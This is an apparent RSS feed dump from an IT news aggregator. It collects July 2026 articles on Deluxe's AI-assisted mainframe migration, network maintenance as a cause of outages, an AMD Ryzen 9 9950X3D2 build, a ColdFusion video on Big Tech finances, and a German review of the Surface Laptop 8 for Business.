using AI]]> https://tsecurity.de/de/3667450/it-nachrichten/deluxe-corporation-beats-the-odds-with-mainframe-migration-using-ai/ https://tsecurity.de/de/3667450/it-nachrichten/deluxe-corporation-beats-the-odds-with-mainframe-migration-using-ai/ Tue, 14 Jul 2026 11:32:57 +0200 📰 IT Nachrichten tsecurity.de

Deluxe may have prevailed against the odds when it successfully migrated from a 50-plus-year-old mainframe recently.

The company was able to move from it to a cloud environment in about 12 months without a major hitch, and while AI did some of the heavy lifting. The save will amount to about $4.9 million a year by retiring old hardware and software, cutting labor costs, and consolidating IT resources.

Deluxe, based in Minneapolis and traditionally known as a check printer, has transformed itself into a payments IT provider in recent years. But it desperately needed to end its reliance on its ancient mainframe, says Yogaraj Jayaprakasam, the company’s chief technology and digital officer, pictured.

So AI played a huge role in the IT modernization project, he says, using it to rewrite the old mainframe code, generate documentation, and regenerate code test cases. The company also used an AI-powered test automation suite, as well as AI tools to help move assets to the new cloud environment.

While AI can’t do everything during mainframe migration, it can make the move easier, Jayaprakasam says. “The biggest lessons learned is AI is one of the missing tools in your transformation tool set,” he adds.

Failing projects

Deluxe’s mainframe migration earned it a 2026 CIO 100 Award for IT innovation and leadership, but it also seems to have bucked a recent trend. Many mainframe migration projects haven’t gone as planned, and Gartner recently predicted that more than 70% of mainframe exit projects that started in 2026 will fail to produce intended benefits because of an overreliance on gen AI.

Mainframe transformation projects tend to work better when they’re part of a larger business transformation rather than a one-off project using gen AI to do most of the work, says Gartner analyst Alessandro Galimberti.

“Generative AI and agentic AI are extremely powerful, but they also have their own limits,” he says. “With all these kinds of tools trying to convert code or somehow fit into a non-mainframe workload, we don’t really see a track record of success.”

Gartner also sees a declining interest in mainframe migration projects, Galimberti says. With mainframes getting support from several IT vendors, and with a general lack of migration success, many companies are choosing to keep many workloads on their existing big iron.

But mainframes also have a proven track record of very high uptime and backward capability, Galimberti says.

“If I’m a bank, a financial institution, or a transportation company, I need to run applications that are the core of my business,” he adds. “I need reliability, transactional integrity, and security, and these applications have a low change rate over the years because they map very stable business processes.”

The Gartner prediction makes sense to John McKenny, senior VP and GM of Intelligent Z optimization and transformation for mainframe support vendor BMC Software.

“With organizations thinking about mainframe exits, the expected benefits they’re looking for are usually pretty straightforward,” he says. “They think, ‘It’s going to be lower cost, I’m going to get equal or better capabilities, I should be more agile.’  The reality is those outcomes rarely show up at scale.”

Mainframe migration is possible, but the successful projects tend to be small scale, McKenny adds. He was on a recent call about a failed migration project in Europe, with a large bank cancelling the project at the end of 2025 and recommitting to the mainframe as a strategic platform.

“I’ve never seen a large-scale mainframe migration project finish under budget, ever,” he says. “Most of the projects I hear about fail outright.”

Trying again

Like some organizations that Gartner has observed, Deluxe tried to move away from its mainframe several years ago, but the project failed, Jayaprakasam says. Yet the company took the steps it needed this time to ensure the new migration succeeded.

While a mainframe migration isn’t for every organization, the latest move made sense for Deluxe, he says.

The mainframe, after all, was the backbone for a large portion of the company’s annual revenue, and interfaces with several top banks across North America. The modernization effort rebuilt core business processes and data, moving them from the mainframe to a modern cloud-native technology stack, including Salesforce, Mulesoft, and SAP S4/HANA.

While AI played a big part, there’s danger in overestimating the power of AI during a migration project, Jayaprakasam says, and organizations need to follow best practices for IT migration.

“If you minimize the importance of communication, risk planning, and business alignment because you have AI, you tend to fail,” he says. “But as long as you play all those cards and recognize AI was the missing piece to the puzzle, then you have a much better chance of winning.”

Deluxe also used a cross-functional tiger team to look at the various options available to accelerate reverse engineering, including AI tools from OpenAI, Anthropic, as well as GitHub Copilot throughout the project.

In addition, AI was useful to dig through the mainframe code and understand what needed to be updated, Jayaprakasam says. Organizations sitting on decades-old code often no longer have people who understand it.

“I always tell people that the code remembers what the organization forgot, because with people going and changing, people don’t remember what we wrote in the code, but the code remembers,” he adds. “The amazing tool that was missing before is we didn’t have an interpreter who understood what the code remembered. Now with AI, you have the interpreter.”

]]> <![CDATA[iPadOS 26.6 Developer Beta 5 Now Available for Developers]]> https://tsecurity.de/de/3666599/ios-mac-os/ipados-266-developer-beta-5-now-available-for-developers/ https://tsecurity.de/de/3666599/ios-mac-os/ipados-266-developer-beta-5-now-available-for-developers/ Tue, 14 Jul 2026 01:53:57 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA['The precision and quality of the print finish are exceptional': We love the beginner-friendly Anycubic Kobra S1 Combo 3D printer — and it's got a massive discount right now]]> https://tsecurity.de/de/3666070/it-nachrichten/the-precision-and-quality-of-the-print-finish-are-exceptional-we-love-the-beginner-friendly-anycubic-kobra-s1-combo-3d-printer-and-its-got-a-massive-discount-right-now/ https://tsecurity.de/de/3666070/it-nachrichten/the-precision-and-quality-of-the-print-finish-are-exceptional-we-love-the-beginner-friendly-anycubic-kobra-s1-combo-3d-printer-and-its-got-a-massive-discount-right-now/ Mon, 13 Jul 2026 19:47:09 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Routine maintenance as a failure vector in modern networks]]> https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/ https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/ Mon, 13 Jul 2026 11:08:40 +0200 📰 IT Security Nachrichten tsecurity.de

Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.

Every pre-check passed. Device health looked normal. High-availability synchronization was complete. Monitoring showed no obvious concerns. Yet shortly after the change, users began reporting application failures.

The root cause was not a failed upgrade, hardware fault or software defect. The maintenance activity exposed a dependency elsewhere in the traffic path that nobody had considered.

Since then, I have seen similar patterns repeatedly across enterprise environments. The change itself was rarely the problem. The problem was the assumption that the change was isolated.

Planned maintenance is intended to reduce risk, but in practice, it often introduces risk into an otherwise stable network.

Many production incidents result from routine tasks such as firewall updates, DNS changes, certificate renewals, routing adjustments, load balancer failovers, WAF updates, switch upgrades or software patches, rather than dramatic failures.

The reality is that “routine” does not equate to “low risk.” It simply means the activity has been performed before, not that the current environment will respond the same way.

Modern networks have become too interconnected for maintenance to be treated as a simple device-level task. A change to one control point can expose a dependency elsewhere in the traffic path. A firewall update can affect asymmetric return traffic. A DNS change can shift users to a data center where persistence is not aligned. A load balancer failover can expose stale ARP or MAC learning issues. A certificate renewal can cause an inspection or TLS negotiation to fail in the backend. A WAF update can block application behavior that was never visible in testing.

Failures rarely stem from the maintenance activity itself, but rather from the assumption that the change is isolated.

Why routine changes still cause outages

In traditional network operations, the unit of change was often a device: upgrade a switch, modify a router, add a firewall rule, renew a certificate or reboot an appliance. That model worked better when application traffic paths were simpler, and dependencies were easier to understand.

Today, a single user transaction may cross DNS, global traffic management, WAN routing, data center switching, firewalls, load balancers, TLS inspection points, WAF policies, API gateways and backend application tiers. Each layer may make an independent decision about availability, security, routing or session handling.

This creates a risky maintenance pattern. Teams often validate only the component they changed, not the complete traffic flow before and after the change. Devices may appear healthy, configurations may load correctly and all checks may pass, yet users can still experience failures due to a changed dependency somewhere in the end-to-end path.

Google’s Site Reliability Engineering (SRE) guidance highlights that changes remain one of the most common sources of service disruption, which is why mature organizations invest heavily in change validation, rollback planning and observability. The SRE book provides extensive discussion of change management, reliability engineering and operational risk in large-scale environments.

For this reason, maintenance windows should be evaluated as both operational events and potential failure vectors.

Common failure points during maintenance

One common issue is state mismatch. Firewalls, load balancers, NAT devices and application delivery controllers often maintain connection or session state. During failover, reboot or path change, existing flows may not survive even if the standby device becomes active as designed. New connections may succeed while long-lived sessions fail. In other cases, traffic may enter through one device and return through another, causing stateful inspection to drop packets that appear invalid.

Asymmetric routing is another frequent cause. A routing change may look harmless from a Layer 3 perspective, but if the forward and return paths traverse different firewalls or inspection zones, applications can fail intermittently. The network may still be “up,” but the security policy no longer sees the full conversation.

Layer 2 behavior is also underestimated. In highly available data center designs, MAC learning, ARP cache behavior, VLAN tagging, port channels and first-hop gateway behavior can determine whether traffic moves cleanly after a failover. A device may successfully assume an active role, but upstream switches or firewalls may still forward traffic toward the old path until tables age out or are refreshed.

DNS and GSLB changes introduce a different class of risk. Teams often test name resolution, but resolution is only the first step. The more important question is where users are being sent and whether that destination is ready to handle production traffic.

DNS resilience guidance published by the Internet Society emphasizes that successful name resolution alone does not guarantee application availability, particularly when multiple infrastructure dependencies exist behind the DNS response.

If global traffic management shifts users from one data center to another, the receiving site must have aligned firewall rules, load balancer configuration, health monitors, certificates, persistence behavior, routing advertisements and backend capacity. Otherwise, DNS sends users to a site that is not actually ready.

Certificate maintenance can also break more than the browser-facing endpoint. In many environments, TLS is terminated, re-encrypted, inspected or validated across multiple hops. Renewing a certificate on the external virtual server may not address backend certificates, intermediate chains, SNI behavior, cipher compatibility or trust stores used by inspection devices. The maintenance task may be described as a certificate renewal, but the real dependency is end-to-end TLS negotiation.

Security policy maintenance creates another risk. WAFs, IPSs, DDoS protection systems, bot defense platforms and firewall policies are designed to block abnormal behavior. But during updates, tuning changes or signature refreshes, they can also block legitimate application traffic if policy enforcement is not validated against real transaction patterns.

This is especially true for APIs, where small differences in headers, methods, payload structure or authentication flows can trigger unexpected enforcement.

The test environment problem

Many teams rely on pre-checks and test environments, but these controls are often less effective than they seem.

Pre-checks confirm device reachability, interface status, route existence, pool member availability and HA health. While necessary, these checks do not ensure production traffic will survive a path change because they focus on infrastructure rather than transaction validation.

Test environments rarely mirror production. Production environments involve real user volume, client diversity, DNS caching behavior, firewall states, certificates, backend latency and complex dependencies. A failover that succeeds in a lab may behave very differently in the real world.

This does not render testing useless, but test results should not be considered proof of production safety. They provide evidence, not a guarantee.

This challenge aligns with broader operational resilience guidance from the NIST Cybersecurity Framework, which emphasizes continuous monitoring, validation and recovery planning as critical operational capabilities.

A stronger maintenance process starts with mapping the traffic path before the window. For critical applications, teams should understand the normal ingress path, egress path, firewall zones, NAT points, load balancer virtual servers, DNS or GSLB decision points, TLS termination points, persistence requirements and backend dependencies.

The next step is defining failure expectations. What happens to existing sessions if a firewall is rebooted? Should source MAC, floating IP, ARP or upstream forwarding behavior change during a load balancer failover? How long will cached clients continue to access the old site after a DNS shift? Which clients and inspection devices validate the certificate chain when a certificate is replaced?

These questions should be addressed before the maintenance window, not during an outage.

Pre-checks should include both control-plane and data-plane evidence. Control-plane checks confirm configuration, synchronization, device health, routing tables, interface status and object availability. Data-plane checks validate real traffic movement: TCP handshakes, TLS negotiation, HTTP status codes, API responses, session persistence, source NAT behavior and return-path consistency.

During the change, monitoring should focus on symptoms that expose traffic failure early. Device CPU and interface status are useful, but they are not enough. Teams should also watch connection resets, denied firewall logs, WAF violation spikes, pool member selection failures, DNS answer changes, TCP retransmissions, backend 5xx errors and synthetic transaction results.

Rollback planning must also be precise. Simply rolling back a configuration is often insufficient. If a DNS record changes, cached clients may continue using the previous answer. If a firewall state table is cleared, restoring the rule does not recover active sessions. If failover alters forwarding behavior, upstream devices may require ARP refresh, route reconvergence or manual validation.

An effective rollback plan should identify lost state, persistent caches and the evidence required to confirm recovery.

Treating maintenance as a resilience exercise

The objective is not to make maintenance overly complex or bureaucratic. The objective is to avoid underestimating its risks.

Every maintenance window is a controlled opportunity to test whether the network behaves as specified by the architecture.

If failover is part of the design, maintenance should verify failover behavior. If a secondary data center is expected to handle traffic, maintenance should demonstrate that it can process real transactions. If security policies are updated, maintenance should prove that legitimate traffic is still allowed. If certificates are renewed, maintenance should validate the complete TLS path, not just the public endpoint.

Industry outage studies published by the Uptime Institute consistently show that human error and process failures remain significant contributors to downtime. Their annual outage research continues to highlight the role of operational processes and maintenance activities in service disruptions.

Maintenance windows provide an opportunity to identify those weaknesses before they become customer-facing incidents.

This requires closer collaboration between network, security, application and operations teams. Network engineers may own routing or load-balancing changes, but application teams understand transaction flows. Security teams understand inspection and enforcement behavior. Operations teams often see user-impacting symptoms first.

Treating maintenance as a shared traffic event rather than a device event reduces blind spots.

Routine maintenance will always involve some risk. However, the greatest risk is the false confidence that the term ‘routine’ conveys.

Modern networks fail in the spaces between systems: between DNS and load balancing, between firewalls and routing, between TLS inspection and application behavior, between HA design and actual forwarding state. Maintenance exposes those spaces.

For that reason, network teams should view every maintenance window as more than a checklist. It is a live test of architecture, operational discipline and production resilience.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Die CPU der Höllenmaschine HMX 6: AMD Ryzen 9 9950X3D2 Dual Edition]]> https://tsecurity.de/de/3664640/it-nachrichten/die-cpu-der-hoellenmaschine-hmx-6-amd-ryzen-9-9950x3d2-dual-edition/ https://tsecurity.de/de/3664640/it-nachrichten/die-cpu-der-hoellenmaschine-hmx-6-amd-ryzen-9-9950x3d2-dual-edition/ Mon, 13 Jul 2026 10:32:39 +0200 📰 IT Nachrichten tsecurity.de

Der AMD Ryzen 9 9950X3D2 Dual Edition ist der erste Desktop-Prozessor weltweit, bei dem beide CPU-Chiplets (CCDs) mit AMDs 3D-V-Cache-Technik ausgestattet sind. Die AM5-CPU richtet sich sowohl an ambitionierte Gamer als auch an professionelle Anwender mit hohen Leistungsanforderungen.

Die auf der Zen-5-Architektur basierende CPU verfĂŒgt ĂŒber 16 Kerne und kann dank Simultaneous Multithreading (SMT) bis zu 32 Threads gleichzeitig verarbeiten. Der Basistakt betrĂ€gt 4,3 GHz, wĂ€hrend der maximale Boost-Takt bei bis zu 5,6 GHz liegt. Die TDP gibt AMD mit 200 Watt an.

Geköpfte und wassergekĂŒhlte CPU

Noch mehr Leistung und eine höhere StabilitĂ€t entlocken wir dem Prozessor, indem wir ihn von Roman @der8auer Hartung professionell köpfen lassen. GekĂŒhlt wird der AMD-Prozessor dann mit dem CPU-Block Thermal Grizzly Mycro Direct-Die Pro, den wir in der HMX 6 an eine Custom-WasserkĂŒhlung anschließen.

Thermal Grizzly Mycro Direct-Die Pro

Thermal Grizzly

Der High-End-KĂŒhler wurde speziell fĂŒr den Direct-Die-Betrieb entwickelt, passt also perfekt zu unserem geköpften HMX-6-Prozessor. Der KĂŒhler verfĂŒgt ĂŒber eine vernickelte Kupferbodenplatte mit optimierter Mikrofinnenstruktur, die eine besonders effiziente WĂ€rmeabfuhr gewĂ€hrleistet. Und natĂŒrlich ist auch eine adressierbare RGB-Beleuchtung mit an Bord.

Optimale Lastverteilung dank doppeltem 3D-V-Cache

Das herausragende Merkmal des 9950X3D2 ist der 3D-V-Cache auf beiden CCDs. Im Gegensatz zu bisherigen X3D-Modellen, bei denen nur ein Chiplet ĂŒber den zusĂ€tzlichen Cache verfĂŒgte, profitieren nun beide Chiplets davon. Dadurch wird die Lastverteilung zwischen den CCDs optimiert, was insbesondere in Spielen sowie in cacheintensiven Anwendungen fĂŒr eine konstantere und höhere Leistung sorgt.

Im Gaming-Bereich ist der Ryzen 9 9950X3D2 der aktuell schnellste Prozessor der Welt. GegenĂŒber dem bisherigen Ryzen 9 9950X3D sind – abhĂ€ngig vom jeweiligen Spiel – LeistungszuwĂ€chse von rund 5 bis 10 Prozent möglich. Auch professionelle Anwendungen wie 3D-Rendering, Softwareentwicklung, Simulationen oder KI-Workloads profitieren von der erweiterten Cache-Ausstattung, wenngleich die Leistungsgewinne hier in der Regel moderater ausfallen. Der AMD Ryzen 9 9950X3D2 Dual Edition kostet aktuell knapp 900 Euro, der Thermal Grizzly Mycro Direct-Die Pro schlĂ€gt mit rund 130 Euro zu Buche und das Köpfen des 9950X3D2 durch Roman ist unbezahlbar.

AMD Ryzen 9 9950X3D2 Dual Edition on a pedestal

AMD

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern

Gewinnen Sie hier die HMX 6

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natĂŒrlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestĂ€tigen.

]]> <![CDATA[It Took 90 Seconds for This $100 Portable Photo Printer to Totally Change My July 4th Party]]> https://tsecurity.de/de/3663745/it-nachrichten/it-took-90-seconds-for-this-100-portable-photo-printer-to-totally-change-my-july-4th-party/ https://tsecurity.de/de/3663745/it-nachrichten/it-took-90-seconds-for-this-100-portable-photo-printer-to-totally-change-my-july-4th-party/ Sun, 12 Jul 2026 21:01:59 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Big Tech is Acting Kind of Dodgy At the Moment]]> https://tsecurity.de/de/3662952/videos/big-tech-is-acting-kind-of-dodgy-at-the-moment/ https://tsecurity.de/de/3662952/videos/big-tech-is-acting-kind-of-dodgy-at-the-moment/ Sun, 12 Jul 2026 10:02:28 +0200 đŸŽ„ Videos tsecurity.de Author: ColdFusion - Bewertung: 51x - Views:765

Visit https://brilliant.org/coldfusion to try Brilliant’s tutor for free and get a 20% off an annual subscription.

For the longest time, big tech was seen as the perpetual money printer but now things have changed. The AI frenzy has drained free cash flow and driven these companies to employ interesting accounting practices.

Watch or listen to ColdFusion on Spotify: https://open.spotify.com/show/1YEwCKoRz8fEDqheXB6UJ1

Additional music by Loxe:
https://www.instagram.com/loxetheproducer/?hl=en
https://open.spotify.com/artist/4Jb1EAbXK4BpbQopoeMWKT

ColdFusion Music:

https://www.youtube.com/@ColdFusionmusic
http://burnwater.bandcamp.com

ColdFusion Socials:

https://discord.gg/coldfusion
https://facebook.com/ColdFusionTV
https://twitter.com/ColdFusion_TV
https://instagram.com/coldfusiontv

Created by: Dagogo Altraide
Producers: Tawsif Akkas, Dagogo Altraide

]]> <![CDATA[Is this the open source printer of our dreams? Raspberry Pi-powered, DRM-free 'Open Printer' inkjet could be the perfect solution if it ever sees the light of day]]> https://tsecurity.de/de/3662479/it-nachrichten/is-this-the-open-source-printer-of-our-dreams-raspberry-pi-powered-drm-free-open-printer-inkjet-could-be-the-perfect-solution-if-it-ever-sees-the-light-of-day/ https://tsecurity.de/de/3662479/it-nachrichten/is-this-the-open-source-printer-of-our-dreams-raspberry-pi-powered-drm-free-open-printer-inkjet-could-be-the-perfect-solution-if-it-ever-sees-the-light-of-day/ Sun, 12 Jul 2026 00:32:16 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Surface Laptop 8 for Business im Test: Ein Laptop von gestern zum Preis von morgen]]> https://tsecurity.de/de/3661207/it-security-nachrichten/surface-laptop-8-for-business-im-test-ein-laptop-von-gestern-zum-preis-von-morgen/ https://tsecurity.de/de/3661207/it-security-nachrichten/surface-laptop-8-for-business-im-test-ein-laptop-von-gestern-zum-preis-von-morgen/ Sat, 11 Jul 2026 06:06:37 +0200 📰 IT Security Nachrichten tsecurity.de
Surface Laptop 8

Mark Hachman / Foundry

Auf einen Blick

Pro

  • Altbekannter Surface Laptop
  • Der neue Blickschutz funktioniert oft gut
  • Die “Voice Focus”-Funktion ist ziemlich nĂŒtzlich

Kontra

  • Unangemessen hoher Preis
  • Die gleiche alte Bauweise

Fazit

Der Surface Laptop 8 for Business von Microsoft kommt einem sofort bekannt vor. HerzstĂŒck ist ein leistungsstarker Intel Core Ultra Series 300 (Panther Lake)-Prozessor. Doch leider ist das GerĂ€t derart teuer, dass sich ein Kauf angesichts der wenigen neuen Funktionen kaum rechtfertigen lĂ€sst.

Zum ersten Mal seit Jahren war ich nicht begeistert, ein neues Surface-Modell zu testen. Und auch nach dem ausfĂŒhrlichen Test bin ich eher enttĂ€uscht.

Dabei hat der Surface Laptop 8th Edition (oder Surface Laptop 8) for Business zwei echte Pluspunkte vorzuweisen: ein Upgrade auf Intels hervorragende Prozessoren der Core Ultra 300-Serie (Panther Lake) und einen einigermaßen nĂŒtzlichen Sichtschutz.

Letzterer kann den Bildschirm auf Knopfdruck abdunkeln und unkenntlich machen. Leider hat Microsoft aber am traditionellen Aufschlag fĂŒr Surface-GerĂ€te festgehalten. Diese Preisgestaltung treibt die Kosten des Laptops in unattraktive Höhen.

Fairerweise muss man sagen, dass es sich hierbei um einen Laptop der Business-Klasse handelt. Eine Consumer-Version dieses Surface Laptops wird noch in diesem Jahr folgen, ausgestattet mit einem Qualcomm Snapdragon X2 Elite Extreme-Chip.

Basierend auf meinen eigenen Tests beider Chips lĂ€sst sich sagen, dass der hier verbaute Intel Core Ultra 300-Prozessor den Snapdragon leicht ĂŒbertreffen wird. Dies gilt zumindest fĂŒr die Grafikleistung und möglicherweise auch fĂŒr die Akkulaufzeit.

Einige Surface-Fans könnten einwenden, dass Microsoft das Design des Laptops bereits optimiert hat. Andere könnten die Optik als altbacken kritisieren. Ich gehöre definitiv zur zweiten Gruppe. Ich muss mittlerweile auf Klebezettel zurĂŒckgreifen, die ich an der Unterseite der von mir getesteten Surface-Laptops anbringe. Warum? Sie sind im Alltag sonst praktisch nicht voneinander zu unterscheiden.

Surface Laptop 8

Mark Hachman / Foundry

Modell-Chaos

Der Microsoft Surface Laptop 8 ist mit Bildschirmdiagonalen von 13,8 Zoll und 15 Zoll erhĂ€ltlich. Microsoft vertreibt das Modell offiziell als “Surface Laptop for Business (8. Generation)” oder “Surface Laptop 8 for Business”.

Sie können den Surface Laptop for Business auch mit einem 13-Zoll-Display kaufen. Microsoft hat den Surface Laptop bisher noch nie mit einer solchen BildschirmgrĂ¶ĂŸe angeboten, weshalb er schlicht als Surface Laptop for Business 13 Zoll bezeichnet wird.

Durch den Kauf des kleineren Surface Laptops sparen Sie mehrere hundert Euro (die Preise beginnen bei 1.549 Euro, im Vergleich zu 2.119 Euro fĂŒr den 13,8-Zoll-Surface Laptop 8). Die Auswahl der Komponenten beschrĂ€nkt sich dann jedoch auf einen Core Ultra 5 325-Prozessor, bis zu 24 Gigabyte RAM und bis zu einem Terabyte SSD-Speicher.

Auf dem Papier und in der Hand ist der Surface Laptop 8 for Business im Wesentlichen identisch mit dem Surface Laptop 7 aus dem Jahr 2024, der ab 1.199 Euro angeboten wurde. Zugegeben, dabei handelte es sich um eine Consumer-Version des Surface Laptop mit einem Snapdragon X1 Elite. Das Àndert jedoch nichts daran, dass sich der Einstiegspreis im Vergleich zu vor zwei Jahren fast verdoppelt hat. Das macht das neue GerÀt deutlich unattraktiver.

Kombination aus Alt und Neu

Das Design des Surface Laptop hat sich seit Jahren kaum verĂ€ndert. Direkt nach dem Auspacken liegt der Laptop angenehm in der Hand, wĂ€hrend das glĂ€nzende AluminiumgehĂ€use nun aus bis zu 64 Prozent recyceltem Material besteht. Da es jedoch leicht FingerabdrĂŒcke anzieht, sollten Sie ein Mikrofasertuch immer griffbereit halten. Ich empfinde das Gewicht von 1,35 Kilogramm weder in der Hand noch in meinem Rucksack als unangenehm. Hier kann ich Entwarnung geben.

In einigen Aspekten unterscheidet sich der Surface Laptop 8 for Business von seinen VorgÀngern. Da wÀre zunÀchst der Prozessor: eine Leistungssteigerung durch den Intel Core Ultra Series 3-Chip, bekannt als Panther Lake.

Zu den verfĂŒgbaren AusfĂŒhrungen gehören sowohl die Basis-Konfigurationen mit Core Ultra 5 und 7 als auch der Core Ultra X7 368, der ĂŒber Intels leistungsstarke integrierte GPU verfĂŒgt. Lassen Sie sich davon jedoch nicht allzu sehr verunsichern. Bei lĂ€ngerem Betrieb wird die Grafikeinheit durch die begrenzte KĂŒhlung im Laptop thermisch erheblich gedrosselt.

Zudem gibt es eine merkwĂŒrdige Auslassung: Die Surface-App, mit der sich die Ladeoptionen des Akkus sowie einige weitere Einstellungen verwalten lassen, fehlt. Ich musste sie von Hand aus dem Microsoft Store herunterladen.

Außerdem bietet Microsoft als Option die “Privacy Screen”-Technologie an, die exklusiv fĂŒr die 13,8-Zoll-Version verfĂŒgbar ist.

Im Wesentlichen funktioniert die “Privacy Screen”-Technologie des Surface Laptops, Ă€hnlich wie die “Privacy Display” getaufte Funktion auf dem neuen Galaxy S26 Ultra von Samsung.

Sie wird ĂŒber eine neue Taste auf der Tastatur aktiviert, die als F1-Taste neben der Esc-Taste in der obersten Reihe angeordnet ist. DrĂŒckt man diese Taste, wird das Display dunkler und passt sich so an, dass es von den Seiten her schwerer lesbar ist. Microsoft erklĂ€rt an dieser Stelle, wie der Blickschutz funktioniert, ohne dabei die genaue Funktionsweise zu erlĂ€utern.

Surface Laptop 8

Mark Hachman / Foundry

Die Datenschutztechnologie nutzt die FĂ€higkeit des Laptops, die Helligkeit des Displays sowohl entsprechend den PrĂ€ferenzen des Benutzers als auch in AbhĂ€ngigkeit vom Umgebungslicht anzupassen. Je dunkler das Display, desto schwieriger wird es fĂŒr neugierige Passanten, etwas auf dem Bildschirm zu erkennen.

In meinen Tests waren die Ergebnisse nicht eindeutig. In einem abgedunkelten Raum, wurde das Display aus einer Entfernung von einem Meter ab einem seitlichen Winkel von etwa 15 Grad zur Displayachse so dunkel, dass es fast nicht mehr zu erkennen war.

In einem helleren Raum blieb ein grĂ¶ĂŸerer Teil des Bildschirminhalts erkennbar. Ich konnte jedoch immer gut erkennen, um welche Art von Inhalt es sich auf dem Bildschirm handelte, auch wenn ich den eigentlichen Text nicht mehr lesen konnte. Ein Teil des Bildschirms blieb immer relativ gut sichtbar, es sei denn, ich saß sehr weit entfernt.

Es ist schwer zu beurteilen, wie effektiv der Blickschutz wirklich ist. Die Wirksamkeit schwankte im selben Raum unter den gleichen Bedingungen einfach zu sehr. Schauen Sie sich einfach mal die folgenden Vergleiche an. Im ersten Beispiel musste ich die Perspektive leicht verÀndern.

Aus dieser Perspektive scheint der Blickschutz kaum eine Wirkung zu entfalten. Ich habe mir dabei vorgestellt, wie es aus dem Blickwinkel einer Person aussehen wĂŒrde, die auf einem Gangplatz im Flugzeug sitzt und beilĂ€ufig zu meinem Sitz ĂŒber den Gang hinweg blickt. Aus dieser Perspektive glaube ich nicht wirklich, dass der Blickschutz von Microsoft wirklich funktioniert.

Aus einem anderen Blickwinkel betrachtet sind die Ergebnisse aber gar nicht so schlecht. Es wĂ€re hilfreich gewesen, wenn Microsoft genau mitgeteilt hĂ€tte, in welchen Situationen der Blickschutz am wirksamsten arbeitet. In einem abgedunkelten Flugzeug, bei eingeschalteter Deckenbeleuchtung? In einem relativ hellen Raum wie meinem BĂŒro?

In einem schlechter beleuchteten Raum schien der Blickschutz wirksamer zu arbeiten. Aber sollten Sie wirklich Ihre Arbeitsbedingungen anpassen mĂŒssen, um von dieser Funktion zu profitieren?

Zudem ist mir eine leichte Fleckbildung auf dem Display aufgefallen, die aussieht wie ein schwacher, staubiger Schleier im Displayglas. Ich vermute, dass dies an der Beschaffenheit des Sichtschutzglases selbst liegt.

Vielleicht wurden hierfĂŒr einige der Pixel leicht versetzt? Das Ergebnis ist jedoch deutlich sichtbar: Eine weiße Webseite wirkt bei direkter Betrachtung leicht staubig. Dies ist nicht störend oder ablenkend, aber es war auffĂ€llig.

Was die Ein- und AusgĂ€nge betrifft, ist die Ausstattung des Surface Laptop 8 for Business recht ĂŒbersichtlich: An der linken Seite befinden sich zwei Thunderbolt-4-/USB-C-AnschlĂŒsse, ĂŒber die mit dem entsprechenden Dock drei 4K-Displays mit 60 Hertz betrieben werden können.

Die Anordnung sorgt jedoch dafĂŒr, dass ein Nutzer, der die Maus mit der linken Hand bedient, sich den Platz mit den Displaykabeln teilen muss. Außerdem gibt es einen USB-A-Anschluss und eine Kopfhörerbuchse.

Surface Laptop 8

Mark Hachman / Foundry

Auf der rechten Seite befindet sich der Surface Connect-Anschluss, der beim kleineren Surface Laptop und beim neuen Surface Pro weggefallen ist. Das bedeutet, dass Sie das GerĂ€t entweder mit so gut wie jedem handelsĂŒblichen USB-C-LadegerĂ€t oder mit dem mitgelieferten winzigen 60-Watt-Surface-LadegerĂ€t wieder aufladen können.

Insgesamt wirkt das Design des Surface Laptop 8 for Business robust und gut verarbeitet. Es ist jedoch erwĂ€hnenswert, dass das KĂŒhlsystem im Vergleich zu frĂŒheren Generationen gĂ€nzlich unverĂ€ndert geblieben ist: Die Luft strömt durch LĂŒftungsgitter im Scharnier nach außen.

Selbst bei der Standardeinstellung des Laptops (Beste Energieeffizienz) musste ich nicht viel am Rechner tun, damit sich der LĂŒfter einschaltete. Unter Last war das LĂŒftergerĂ€usch jedoch meist unauffĂ€llig.

Surface Laptop 8

Mark Hachman / Foundry

Bildschirm

Kurzum, mir gefÀllt der Bildschirm des Surface Laptop 8 for Business einfach nicht.

Auf dem Papier macht das Display noch einen guten Eindruck: Das HDR-Display bietet Dolby Vision IQ-UnterstĂŒtzung mit adaptiver Farb- und Kontrastanpassung von bis zu 1300:1. Microsoft bietet zwei Anzeigemodi an: sRGB und „Vivid“. Der Hersteller gibt an, dass eine Helligkeit von bis zu 600 Nits erreicht werden kann. Ich habe insgesamt eine Leuchtdichte von 491 Nits gemessen, die jedoch bei aktiviertem Sichtschutz auf 163 Nits sank.

Der Farbraum ist recht gut und blieb sowohl bei aktiviertem als auch bei deaktiviertem Sichtschutz unverÀndert.

Surface Laptop 8

Mark Hachman / Foundry

Der Surface Laptop 8 for Business bietet ein Touch-Display. Dieses ist jedoch nur fĂŒr die Bedienung mit dem Finger ausgelegt. Eine Eingabe per Stift wird nicht unterstĂŒtzt. Das Display lĂ€sst sich ohnehin nicht vollstĂ€ndig zurĂŒckklappen, was die Verwendung eines Stifts schwer machen wĂŒrde.

Was ich am Bildschirm besonders schĂ€tze, ist eine oft unterschĂ€tzte Funktion: Die variable Bildwiederholfrequenz reicht von 120 Hertz bis hinunter auf 24 Hertz. Das ist großartig. Das 120-Hertz-Display erhöht die Bildwiederholfrequenz, wenn Sie es aktiv nutzen. Dadurch werden Mausbewegungen oder Spiele mit einer höheren Bildwiederholfrequenz dargestellt, was zu flĂŒssigeren Bewegungen fĂŒhrt.

